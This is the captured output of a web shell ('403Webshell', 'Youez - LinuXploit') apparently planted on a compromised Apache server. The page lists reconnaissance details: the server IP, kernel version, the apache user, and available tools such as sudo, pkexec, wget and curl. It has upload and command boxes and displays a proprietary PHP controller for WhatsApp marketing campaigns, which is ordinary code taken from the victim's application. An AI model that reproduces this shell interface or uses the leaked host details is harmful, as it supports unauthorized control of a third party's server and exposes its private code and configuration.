403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/modules/marketing/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/modules/marketing/controllers/WhatsappBroadcastController.php
<?php

class Marketing_WhatsappBroadcastController extends Catabatic_ValidateGtx {

    public function init() {
        parent::init();
        $aConfig = $this->getInvokeArg('bootstrap')->getOptions();
        $BootStrap = $aConfig['bootstrap'];
        $this->baseUrl = $BootStrap['siteUrl'];
        $sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');
        $this->intLoggedinUserId = $sessionLogin_user->intLoggedinUserId;
        $this->intLoggedinUserAgencySysId = $sessionLogin_user->intLoggedinUserAgencySysId;
        $this->intLoggedinUserId = $sessionLogin_user->intLoggedinUserId;
    }

    public function indexAction() {
        $id = $this->getRequest()->getParam('id');
        $tempId = $this->getRequest()->getParam('tempId');
        $sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');
        $this->view->agencyTitle = $agencyTitle = $sessionLogin_user->agencyDetails['Title'];
        $agencySysId = $this->intLoggedinUserAgencySysId;
        $this->marketingMdl = new Marketing_Model_Marketing();
        $getAllCampaignData = $this->marketingMdl->GetAllWhatsAppCampaignDataDefault($agencySysId);
        $campaignDataArray = array();
        $TitleName = '';
        foreach ($getAllCampaignData as $campKey => $campValue) {
            $scheduleDate = (isset($campValue['ScheduleDate']) && $campValue['ScheduleDate'] != '') ? $campValue['ScheduleDate']->format("d-m-Y") : '';
            $campaignDataArray[] = [
                'ListSysId' => $campValue['ListSysId'],
                'CampaignSysId' => $campValue['CampaignSysId'],
                'TemplateSysId' => $campValue['TemplateSysId'],
                'TemplateCategoryId' => $campValue['TemplateCategoryId'],
                'Title' => $campValue['Title'],
                'CampaignRunDate' => ($campValue['CampaignRunDate'] != '') ? $campValue['CampaignRunDate']->format("d/m/Y H:i") : '--',
                'CampaignlaunchStatus' => $campValue['IsActive'],
                'EmailStatus' => $campValue['EmailStatus'],
                'NoofContact' => $campValue['NoofContact'],
                'Recipients' => $campValue['Recipients'],
                'Failed' => $campValue['Failed'],
                'Delivered' => $campValue['Delivered'],
                'Pending' => $campValue['Pending'],
                'Opened' => $campValue['Opened'],
                'Clicked' => $campValue['Clicked'],
                'Unsubscribed' => $campValue['Unsubscribed'],
                'Abusereports' => $campValue['Abusereports'],
                'IsPersonalized' => $campValue['IsPersonalized'],
                'listTitle' => ($campValue['listTitle'] != '') ? $campValue['listTitle'] : '--',
                'TemplateName' => ($campValue['TemplateName'] != '' && $campValue['TemplateIsMarkForDelete'] == 0) ? $campValue['TemplateName'] : '',
                'scheduleDate' => (isset($scheduleDate) && $scheduleDate != '01-01-1900' && $scheduleDate != '') ? $campValue['ScheduleDate']->format("d-M-y H:i") : ($campValue['CampaignlaunchStatus'] != 1 ? '--' : date('d-M-y H:i')),
            ];
        }
        if (isset($id)) {
            $getCountAllContactByIdArr = $this->marketingMdl->GetCountAllContactById($agencySysId, base64_decode($id));
            $this->view->AllContact = $getCountAllContactByIdArr[0]['rows'];
        }
        $paginator = Zend_Paginator::factory($campaignDataArray);
        $pageNumber = $this->_getParam('page', 1);
        $paginator->setCurrentPageNumber($pageNumber);
        $paginator->setItemCountPerPage(GRID_PER_PAGE_RECORD_COUNT);
        $this->view->campaignDataArray = $paginator;
        $this->view->baseUrl = $this->baseUrl;
        $this->view->id = $id;
        $this->view->tempId = $tempId;
    }

    public function reportAction() {
        $this->view->baseUrl = $this->baseUrl;
        $param = $this->getRequest()->getParams();
        $campaignSysId = base64_decode($param['id']);
        $this->marketingMdl = new Marketing_Model_Marketing();
        $agencySysId = $this->intLoggedinUserAgencySysId;
        $getAllCampaignData = $this->marketingMdl->GetAllMarkrtingWhatsAppCampaignData($agencySysId, $campaignSysId);
        $this->view->campaignDataArray = $getAllCampaignData;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit